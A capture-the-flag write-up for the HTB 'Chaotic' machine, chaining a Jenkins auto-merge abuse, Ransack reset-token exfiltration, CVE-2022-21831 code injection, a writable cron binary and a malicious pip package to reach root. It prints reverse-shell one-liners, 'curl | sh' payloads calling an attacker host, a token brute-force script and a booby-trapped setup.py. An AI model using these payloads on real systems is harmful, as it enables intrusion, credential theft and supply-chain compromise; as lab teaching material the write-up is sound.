Chaotic
Challenge
- CTF: HTB Business CTF 2023: The Great Escape
- Name: Chaotic
- Category: Fullpwn
- Difficulty: Medium
- Points: 2000
- Description: N/A
Synopsis
This challenge starts with enumerating and find three HTTPS websites of a ChaoticCMS, GOGs instance, and Jenkins instance. The GOGs instance allows registration, forking, and features a automated git merging via Jenkins that can be abused to obtain code-execution and lead to the compromise of GOGs credentials. These credentials then disclose the source-code of the ChaoticCMS that is vulnerable to user password resets and Ransack data exfiltration. The authenticated session, allows the user to add/edit/preview posts. The preview logic allows us to exploit CVE-2022-21831 to obtain code-execution as malenia on the main host. These then exists a watchnotify cronjob that is executing under the context of another system administrator called horax that we can overwrite to become horax. Lastly, there is a sudo privilege that allows the updating of the python requirements of a SecureVault repository, which is leveraging flask. We can create a malicious flask repository in the form of an update and host the payload on the localhost IPv6 interface, since the update server is only on IPv4 and IPv6 has priority, to obtain root-level code-execution.
Recon
Connect to the HTB VPN via sudo openvpn <vpntoken>.ovpn
Running an nmap scan on the target, identify a HTTPS website running, and SSH service:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Nmap scan report for chaotic.htb (10.129.252.164)
Host is up (0.022s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://chaotic.htb/
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| tls-nextprotoneg:
|_ http/1.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: ChaosCMS
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Issuer: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-22T13:42:29
| Not valid after: 2024-06-21T13:42:29
| MD5: 5134:0a25:bf27:0584:94c1:21d7:4c13:0b2c
|_SHA-1: f041:ab50:a66f:a53c:62ea:1239:91da:06f7:94a6:f81b
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add chaotic.htb
to your /etc/hosts
file for local DNS resolution.
Browsing the website of https://chaotic.htb we identify a blog page that when identified with Appalyzer, it is build on Ruby on Rails web framework as shown below:
Going to /admin/
lead us to ChaosCMS as shown below. We tried default credentials such as admin:admin
. However, all steps lead nowhere. https://chaotic.htb/admin/sign_in https://chaotic.htb/admin/forgot_password
We couldn’t get much on this website, so we turn to virtual host fuzzing using ffuf and it identifies two additional websites the git.chaotic.htb
and jenkins.chaotic.htb
website!
1
2
3
4
5
6
7
$ ffuf -r -ac -mc all -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.chaotic.htb' -u https://chaotic.htb -k
[Status: 200, Size: 8007, Words: 454, Lines: 259, Duration: 34ms]
* FUZZ: git
[Status: 403, Size: 541, Words: 306, Lines: 8, Duration: 85ms]
* FUZZ: jenkins
The Jenkins site at https://jenkins.chaotic.htb leads to a login page:
We can enumerate the version using Metasploit and it was determined to be running Jenkins v2.406, which has no current vulnerabilities identified and default credentials were not working.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msfconsole -q
use auxiliary/scanner/http/jenkins_enum
set RHOSTS jenkins.chatoic.htb
set RPORT 443
set SSL true
set TARGETURI /
set VHOST jenkins.chaotic.htb
run
[+] 10.129.252.164:443 - Jenkins Version 2.406
[*] /script restricted (403)
[*] /view/All/newJob restricted (403)
[*] /asynchPeople/ restricted (403)
[*] /systemInfo restricted (403)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
The Gogs website at https://git.chaotic.htb/ leads to a home page advertising what Gogs is:
We can register a new user account at https://git.chaotic.htb/user/sign_up. For this i used test@test.com
, with test:test
for the username/password respectively.
We can then sign-in at https://git.chaotic.htb/user/login.
We can enumerate all the users on the Gogs instance at https://git.chaotic.htb/explore/users.
- malenia, malenia@chaotic.htb
- john John bucker john@chaotic.htb
We can enumerate the publicly accessible repositories and found a single one called “diagnoweb” at https://git.chaotic.htb/Chaotic/diagnoweb “Diagnoweb is an internal status check Ruby application designed to monitor the health and status of various components within a system. It provides a centralized dashboard where administrators and developers can easily track the performance and availability of critical services.” We can fork this instance and clone it back to our machine.
1
2
3
GIT_SSL_NO_VERIFY=true git clone 'https://test:test@git.chaotic.htb/test/diagnoweb' diagnoweb-test
Cloning into 'diagnoweb'...
...[snip]...
Investigating the repository, we find 4 commits, one being a merge.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
git log
commit 3ff9f0c75fdb23feaaf70804964a8a2eb04b7f82 (HEAD -> master, origin/master, origin/HEAD)
Author: John bucker <john@chaotic.htb>
Date: Thu Jul 6 23:02:36 2023 +0000
UI/UX fixed
commit 280489d0e530f65b308bc74acb3f59c17d29e4b1
Merge: 2fc4129 ae63005
Author: malenia <malenia@chaotic.htb>
Date: Thu Jul 6 22:56:21 2023 +0000
Merge branch 'master' of john/diagnoweb into master
commit ae63005d588b7289dde994967e1c4f61f1d8cf08
Author: John bucker <john@chaotic.htb>
Date: Thu Jul 6 22:52:31 2023 +0000
Fixed title
commit 2fc412996da45fb40ea5d58c904bf60d13fa66ea
Author: malenia <malenia@chaotic.htb>
Date: Thu Jul 6 22:50:43 2023 +0000
Initial
When browsing the pull/merge in Gogs, we see a comment by malenia:
1
2
3
malenia commented 1 week ago
Owner
Changes created by the intern have been auto-merged via Jenkins. Closing the pull request
There is a ./Jenkinsfile
file in the repository detailing a pipeline of an automerge process going on in this repository.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pipeline {
agent any
stages {
stage('pr_check') {
steps {
withCredentials([
usernamePassword(credentialsId: '1', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
]) {
sh '''
rm -rf diagnoweb
git clone "http://$USERNAME:$PASSWORD@172.18.0.2:3000/Chaotic/diagnoweb"
cd diagnoweb
git fetch origin pull/$number/head:test-branch
Result=`ruby test/automerge.rb "$(git diff origin/master test-branch)"`
if $Result;
then
git config --global user.email "malenia@chaotic.htb"
git config --global user.name "malenia"
git checkout master
git merge test-branch
git push origin master
else
echo 'skipping...';
fi
cd ..
rm -rf diagnoweb
'''
}
}
}
stage('run test') {
steps {
withCredentials([
usernamePassword(credentialsId: '1', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
]) {
sh '''
git clone "http://$USERNAME:$PASSWORD@172.18.0.2:3000/Chaotic/diagnoweb"
cd diagnoweb
rails test:system
'''
}
}
}
}
}
We also find a ruby script that is handling the checking of available pull requests at ./diagnoweb/test/automerge.rb
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
require 'git_diff_parser'
def check_pull_request
static_files_path_regex = %r{app\/(?:javascript|assets\/stylesheets|views)\/[-@.\/#&+\w\s]*\.(css|js|erb)}
not_allowed_files = %r{Jenkinsfile|test\/automerge.rb}
return false if ARGV[0].match(not_allowed_files)
git_diff = GitDiffParser.parse(ARGV[0])
return false unless git_diff.files.count == 1
return false unless git_diff.files.first.match(static_files_path_regex)
return true
end
if ARGV.length < 1
puts "No diff data provided"
exit
end
puts check_pull_request()
Jenkins Pipeline Merge - Remote Command Execution
After reviewing all parts of the puzzle, we could attempt to upload a ruby script that would then be automatically merged to the master copy if we follow the following conditions:
- Write to the test/ directory that matches the unanchored regex in the automerge tester:
static_files_path_regex = %r{app\/(?:javascript|assets\/stylesheets|views)\/[-@.\/#&+\w\s]*\.(css|js|erb)}
- Only add a single file to be merged:
return false unless git_diff.files.count == 1
We create the required directories, add a ruby->bash reverse shell payload and push to our forked repository:
1
2
3
4
5
6
7
8
9
10
11
12
13
$ cd diagnoweb-test
$ mkdir -p test/system/app/views/a.erb/
$ echo -n "system(\"bash -c 'exec 69<>/dev/tcp/10.10.14.79/4444; exec nohup bash -i 1>&69 2>&69 0<&69 &';\")" > test/system/app/views/a.erb/rev_test.rb
$ git config --local user.name 'test'
$ git config --local user.email 'test@chaotic.htb'
$ git add -A
$ git commit -a -m 'Test'
GIT_SSL_NO_VERIFY=true git push
...[snip]...
Writing objects: 100% (3/3), 288 bytes | 288.00 KiB/s, done.
Total 3 (delta 1), reused 1 (delta 0), pack-reused 0
To https://git.chaotic.htb/test/diagnoweb
3ff9f0c..5b03530 master -> master
Create the pull request via Gogs at https://git.chaotic.htb/Chaotic/diagnoweb/compare/master…test:master:
In about a minute, we obtain a reverse shell on the Jenkins container:
1
2
3
4
5
6
7
8
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.251.202:52748.
bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell
root@283ed5e45dc7:/var/jenkins_home/workspace/Diagnoweb automerge/diagnoweb#
If we enumerate the environmental variables, we find that the USERNAME/PASSWORD field for the automatic merge is disclosed:
1
2
3
4
$ env
...[snip]...
USERNAME=malenia
PASSWORD=M!quell400$
Lets use these newly obtained credentials to see if malenia has any additional private repositories hosted on Gogs at https://git.chaotic.htb/user/login?redirect_to=
ChaosCMS - Ransack Authentication Reset
We find another repository called ChaosCMS at https://git.chaotic.htb/Chaotic/ChaosCMS, the same one we came across on the main website when going to /admin
at https://chaotic.htb/admin/sign_in. We again, clone this back to our system for further analysis.
1
GIT_SSL_NO_VERIFY=true git clone 'https://malenia:M!quell400$@git.chaotic.htb/Chaotic/ChaosCMS'
We tried the credentials of malenia:M!quell400$
at https://chaotic.htb/admin/sign_in however they sadly did not work.
Analyzing the ChaosCMS source-code, the password reset tokens at app/controllers/password_reset_controller.rb
is only 9 random alpha-numeric characters and potentially bruteforceable, given we know the username of malenia
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class PasswordResetController < ApplicationController
add_flash_types :msg, :success
def index
end
def create
@user = User.find_by(username: user_params[:username])
if @user
random_token = SecureRandom.alphanumeric(9)
@user.update(reset_token: random_token)
end
flash.now[:msg] = 'A password reset link is sent on your mail!'
render :index
end
def edit
@token = params[:token]
end
def update
@user = User.find_by(reset_token: user_params[:token])
if @user
@user.update(password: user_params[:password], reset_token: '')
flash.now[:success] = "Password have been changed! Please login"
render :edit
else
flash.now[:msg] = "You don't have access!"
render :index
end
end
private
def user_params
params.required(:user).permit(:username, :password, :token)
end
end
Analyzing the ChaosCMS source-code, we find a develpment.log
that discloses additional logging regarding the reset_password/reset_token parameters:
1
2
3
4
5
6
7
8
9
10
Started GET "/admin/reset_password?reset_token=[FILTERED]" for 192.168.29.214 at 2023-06-21 12:47:14 +0530
Cannot render console from 192.168.29.214! Allowed networks: 127.0.0.0/127.255.255.255, ::1
Processing by PasswordResetController#edit as HTML
Parameters: {"reset_token"=>"[FILTERED]"}
Rendering layout layouts/application.html.erb
Rendering password_reset/edit.html.erb within layouts/application
Rendered shared/_nav.html.erb (Duration: 0.6ms | Allocations: 487)
Rendered password_reset/edit.html.erb within layouts/application (Duration: 3.5ms | Allocations: 3452)
Rendered layout layouts/application.html.erb (Duration: 6.7ms | Allocations: 6388)
Completed 200 OK in 9ms (Views: 8.1ms | Allocations: 7709)
When browsing the ChaosCMS main site, there is a search bar that when searching for the word test
gets processed as: ` https://chaotic.htb/?q%5Btitle_cont%5D=test&commit=Search
that looks interesting. Looking for this in the develpment.log
appears to also show how it is processed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Started GET "/?q%5Btitle_cont%5D=f&commit=Search" for 192.168.29.214 at 2023-06-05 16:09:45 +0530
Cannot render console from 192.168.29.214! Allowed networks: 127.0.0.0/127.255.255.255, ::1
Processing by HomeController#index as HTML
Parameters: {"q"=>{"title_cont"=>"f"}, "commit"=>"Search"}
User Load (0.1ms) SELECT "users".* FROM "users" WHERE "users"."id" = ? LIMIT ? ["id", 1](%22id%22,%201)
↳ app/controllers/application_controller.rb:6:in `current_user'
Rendering layout layouts/application.html.erb
Rendering home/index.html.erb within layouts/application
Post Load (0.2ms) SELECT DISTINCT "posts".* FROM "posts" WHERE "posts"."title" LIKE '%f%'
↳ app/views/home/index.html.erb:2
Rendered home/index.html.erb within layouts/application (Duration: 4.5ms | Allocations: 3549)
CACHE User Load (0.0ms) SELECT "users".* FROM "users" WHERE "users"."id" = ? LIMIT ? ["id", 1](%22id%22,%201)
↳ app/controllers/application_controller.rb:6:in `current_user'
Rendered layout layouts/application.html.erb (Duration: 16.5ms | Allocations: 18813)
Completed 200 OK in 29ms (Views: 17.6ms | ActiveRecord: 0.8ms | Allocations: 24987)
The endpoint is processed by the HomeController which maps to app/controllers/home_controller.rb
and processed by “ransack”. “Ransack gem is a very powerful and feature-rich gem used widely by Rails community to implement advanced search capability in a Ruby on Rails application. You can create simple as well as advanced search forms for with this Rails search gem.”
1
2
3
4
5
6
7
8
9
10
class HomeController < ApplicationController
def index
if !current_user
redirect_to '/admin/sign_in'
end
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
end
Looking into ransack, we find a data exfiltration proof-of-concept exploitation article that could potentially be leveraged to exfiltrate the password reset token!
Firstly we send a password reset request with the username malenia
as shown below:
The following python script was then created to automate this bruteforcing of the possible 512 reset tokens via permutations due to case-sensitivity.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python3
# Imports
import logging
import requests
import string
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def try_token(token):
try:
print(f'Trying "{token}" ...')
res = requests.get(
'https://chaotic.htb/?q[title_start]=Uniting&commit=Search&q[user_reset_token_start]=' + token,
verify=False)
if len(res.text) > 6000:
print(f'so far we got "{token}"')
return True
else:
return False
except Exception as e:
logging.error('Failed: %s', str(e))
def recover():
recovered = ''
for i in range(20):
got_it = False
for letter in string.ascii_uppercase + string.digits + string.ascii_lowercase:
if try_token(recovered + letter):
recovered += letter
got_it = True
break
if not got_it:
print('did not get another letter, is that it?')
break
return recovered
def permute(inp):
n = len(inp)
# Number of permutations is 2^n
mx = 1 << n
# Converting string to lower case
inp = inp.lower()
# Using all subsequences and permuting them
for i in range(mx):
# If j-th bit is set, we convert it to upper case
combination = [k for k in inp]
for j in range(n):
if (((i >> j) & 1) == 1):
combination[j] = inp[j].upper()
temp = ""
# Printing current combination
for i in combination:
temp += i
print(temp, )
# Recover match
data = recover()
# Figure out case
print(permute(data))
1
2
3
4
5
6
7
8
9
10
11
12
13
python3 ransack_brute_resettoken.py
Trying "A" ...
Trying "B" ...
Trying "C" ...
Trying "D" ...
Trying "E" ...
so far we got "E"
Trying "EA" ...
Trying "EB" ...
...[snip]...
did not get another letter, is that it?
eqqoyeezq
...[snip]...
Then feeding this into Burp Intruder, we can put all the possible password reset tokens in the following request where Password1!
is the new password and §§
will be our injection point.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /admin/reset_password HTTP/1.1
Host: chaotic.htb
Cookie: _chaos_cms_session=NJ9j5RzTAs4%2F%2F%2BXHI0XajMLJdj4G4DojwKtXg1SoELocl0inWkL6zP73Q7a4%2B0y0YLgduOA%2BWw0Fv11mxtSCf0geWVwc7TICI0nm40RFzLsiYPTszd1jbUXFnTV78ImN3jicUl1da5OwyxaOH3qfxQmQNww5snvV4dOXyCGPxgH1XqDBsiXrm1KqS%2FAFJhVpO3BWmwKWU0IVqcOhTjul3PK2Q0yDRyJCOmWzMBKz1%2BGJbbeF5ykgLw5IgwKwy4lm7lzI7mTUlBT%2FzPX5kBjHbPza1zwTIl%2FdrUo%3D--ksI48WVxMEaReBKS--Z3S%2FzCtUajOtUaBakXZRMQ%3D%3D
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://chaotic.htb/admin/forgot_password
Content-Type: application/x-www-form-urlencoded
Content-Length: 183
Origin: https://chaotic.htb
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
authenticity_token=kLWra3OWfIR_S45m3c4suEwt_COmbzUnCgWPXzpNZR9fGtTH0Hu4YTu1A3Ork-TKWSOpf8g1P6EDJiao5bexaw&user%5Bpassword%5D=Password1!&user%5Btoken%5D=§§&commit=Reset+Password
Parsing all the tokens, we use inverse matching expression of access
matching the negative result of You don't have access
to find a successful request:
We then login and access the application as malenia
with the password Password1!
. The administration page is shown at https://chaotic.htb/admin/:
We can create new posts at https://chaotic.htb/posts/new:
We can edit existing posts at https://chaotic.htb/posts/1/edit:
We can preview images at https://chaotic.htb/posts/preview?id=7&t=resize&v=1000:
ActiveStorage CVE-2022-21831
Looking into the preview image logic, the develpment.log
indicates activestorage-7.0.5
. We can find a CVE-2022-21831 https://blog.convisoappsec.com/en/cve-2022-21831-overview-of-the-security-issues-we-found-in-railss-image-processing-api/ which is a code injection vulnerability that exists in the Active Storage >= v5.2.0 that could allow an attacker to execute code via image_processing arguments.
We can obtain a reverse shell via a reverse-shell as a service payload (such as https://reverse-shell.sh/) and hosting it at index.html
from a quick Python webserver:
1
$ python3 -m http.server 80
We can trigger the exploitation of this CVE-2022-21831 via the following request from our authenticated browser session: https://chaotic.htb/posts/preview?id=7&t=eval&v=system(%22curl+http://10.10.14.79|sh%22)
Reverse shell (malenia):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.251.202:58382.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
malenia@chaotic:~/ChaosCMS$ id
id
uid=1000(malenia) gid=1000(malenia) groups=1000(malenia),1002(systemAdministrators)
malenia@chaotic:~$ ls -la
total 44
drwxr-xr-x 9 malenia malenia 4096 Jul 18 09:08 .
drwxr-xr-x 4 root root 4096 Jul 7 23:46 ..
lrwxrwxrwx 1 malenia malenia 9 Jul 7 23:28 .bash_history -> /dev/null
drwxrwxr-x 3 malenia malenia 4096 Jul 7 23:46 .bundle
drwx------ 2 malenia malenia 4096 Jul 8 00:03 .cache
drwxrwxr-x 14 malenia malenia 4096 Jul 7 23:46 ChaosCMS
drwx------ 3 malenia malenia 4096 Jul 18 09:09 .gnupg
drwxrwxr-x 3 malenia malenia 4096 Jul 7 23:46 .local
drwxrwxr-x 4 malenia malenia 4096 Jul 7 23:46 .passenger
-rw-rw-r-- 1 malenia malenia 66 Jun 22 04:23 .selected_editor
drwx------ 2 malenia malenia 4096 Jul 18 09:06 .ssh
-rw-r----- 1 malenia malenia 39 Jul 7 22:27 user.txt
malenia@chaotic:~$ cat user.txt
HTB{C1_CD_eXP01T4T10n_15_C00l_r1ghT!!}
User Flag: HTB{C1_CD_eXP01T4T10n_15_C00l_r1ghT!!}
WatchNotify Cronjob Privilege Escalation
Running pspy64
on the target, we were able to identify a cronjob process running ./watchnotify
as the UID=1001 horax
:
1
2
3
4
5
6
7
8
9
CMD: UID=1001 PID=62423 | ./watchnotify
CMD: UID=1001 PID=62424 | ss -lnt
CMD: UID=1001 PID=62425 | sh -c ss -lnt | grep 5000
CMD: UID=1001 PID=62426 | sh -c ss -lnt | grep 8080
CMD: UID=1001 PID=62427 | sh -c ss -lnt | grep 8080
CMD: UID=1001 PID=62428 | grep 8080
CMD: UID=1001 PID=62429 | sh -c ss -lnt | grep 80
CMD: UID=1001 PID=62430 | sh -c ss -lnt | grep 80
CMD: UID=1001 PID=62431 | grep 80
We have full control in that directory, as we belong to the systemAdministrators
group as shown in linpeas.sh
:
1
2
3
4
5
Group systemAdministrators:
/opt/watchnotify
/opt/watchnotify/watchnotify
/opt/watchnotify/lib
/opt/watchnotify/lib/libsendmail.so
We can replace watchnotify
with the same reverse-shell as a service payload as before:
1
$ wget 10.10.14.79 -O /opt/watchnotify/watchnotify
Reverse shell (horax)
1
2
3
4
5
6
7
8
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.251.202:41072.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
horax@chaotic:/opt/watchnotify$
Malicious Python Update Package
Enumerating the sudo permissions of the horax
user we were able to identify a way to update the current python requirements of the SecureVault python program and the service running it:
1
2
3
4
5
6
7
horax@chaotic:~$ sudo -l
Matching Defaults entries for horax on chaotic:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User horax may run the following commands on chaotic:
(root) NOPASSWD: /bin/systemctl restart securevault
(root) NOPASSWD: /usr/bin/pip3 install -U -r /opt/SecureVault/requirements.txt
1
2
3
4
5
6
7
8
9
10
horax@chaotic:/opt/SecureVault$ systemctl status securevault
● securevault.service - A flask backup management utility
Loaded: loaded (/lib/systemd/system/securevault.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2023-07-18 09:29:08 UTC; 3min 16s ago
Main PID: 63351 (python3)
Tasks: 1 (limit: 2220)
Memory: 20.8M
CPU: 146ms
CGroup: /system.slice/securevault.service
└─63351 /usr/bin/python3 /opt/SecureVault/run.py
When running the /usr/bin/pip3 install -U -r /opt/SecureVault/requirements.txt
command it reaches out to localhost:9999
for updates. However, this update service is only running on IPv4 as shown below:
1
2
3
4
5
6
7
8
horax@chaotic:/opt/SecureVault$ netstat -panut
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:9999 0.0.0.0:* LISTEN -
horax@chaotic:/opt/SecureVault$ nc localhost 9999 -zv
nc: connect to localhost (::1) port 9999 (tcp) failed: Connection refused
Connection to localhost (127.0.0.1) 9999 port [tcp/*] succeeded!
Lets quickly build a malicious flask python package, and service it on IPv6 localhost (::1
) on port 9999 in another shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
mkdir flask
cd flask
touch README.md
mkdir flask
touch flask/__init__.py
touch setup.cfg
bash -c 'cat << "EOF" > setup.py
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import os
def RunCommand():
os.system("curl 10.10.14.79|sh")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)
class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)
setup(
name = "flask",
version = "2.4.0",
license = "MIT",
packages=find_packages(),
cmdclass={
"install" : RunInstallCommand,
"egg_info": RunEggInfoCommand
},
)
EOF'
python3 setup.py sdist
1
2
3
4
5
6
7
horax@chaotic:~$ mkdir -p ./simple/flask/
horax@chaotic:~$ wget 10.10.14.79:8000/flask-3.0.tar.gz -O ./simple/flask/
horax@chaotic:~$ chmod -R 777 /tmp/simple
horax@chaotic:~$ python3 -m http.server --bind ::1 9999
Serving HTTP on ::1 port 9999 ([http://[::1]:9999/](http://[::1]:9999/)) ...
::1 - - [18/Jul/2023 10:03:21] "GET /simple/flask/ HTTP/1.1" 200 -
::1 - - [18/Jul/2023 10:03:21] "GET /simple/flask/flask-3.0.tar.gz HTTP/1.1" 200 -
We trigger the update process and obtain a root reverse shell:
1
2
3
4
5
6
7
8
9
horax@chaotic:~$ sudo /usr/bin/pip3 install -U -r /opt/SecureVault/requirements.txt
Looking in indexes: http://admin:****@localhost:9999/simple/
Requirement already satisfied: flask in /usr/local/lib/python3.10/dist-packages (from -r /opt/SecureVault/requirements.txt (line 1)) (2.4.0)
DEPRECATION: The HTML index page being used (http://localhost:9999/simple/flask/) is not a proper HTML 5 document. This is in violation of PEP 503 which requires these pages to be well-formed HTML 5 documents. Please reach out to the owners of this index page, and ask them to update this index page to a valid HTML 5 document. pip 22.2 will enforce this behaviour change. Discussion can be found at https://github.com/pypa/pip/issues/10825
Collecting flask
Downloading http://localhost:9999/simple/flask/flask-3.0.tar.gz (1.1 kB)
Preparing metadata (setup.py) ... done
Building wheels for collected packages: flask
Building wheel for flask (setup.py) ... -
1
2
3
4
5
6
7
8
9
$ nc -nlvp 5555
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.129.251.202:60700.
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
HTB{D3P3nd3ncy_C0nfus1on_4r3_5C4ry!!}
Root Flag: HTB{D3P3nd3ncy_C0nfus1on_4r3_5C4ry!!}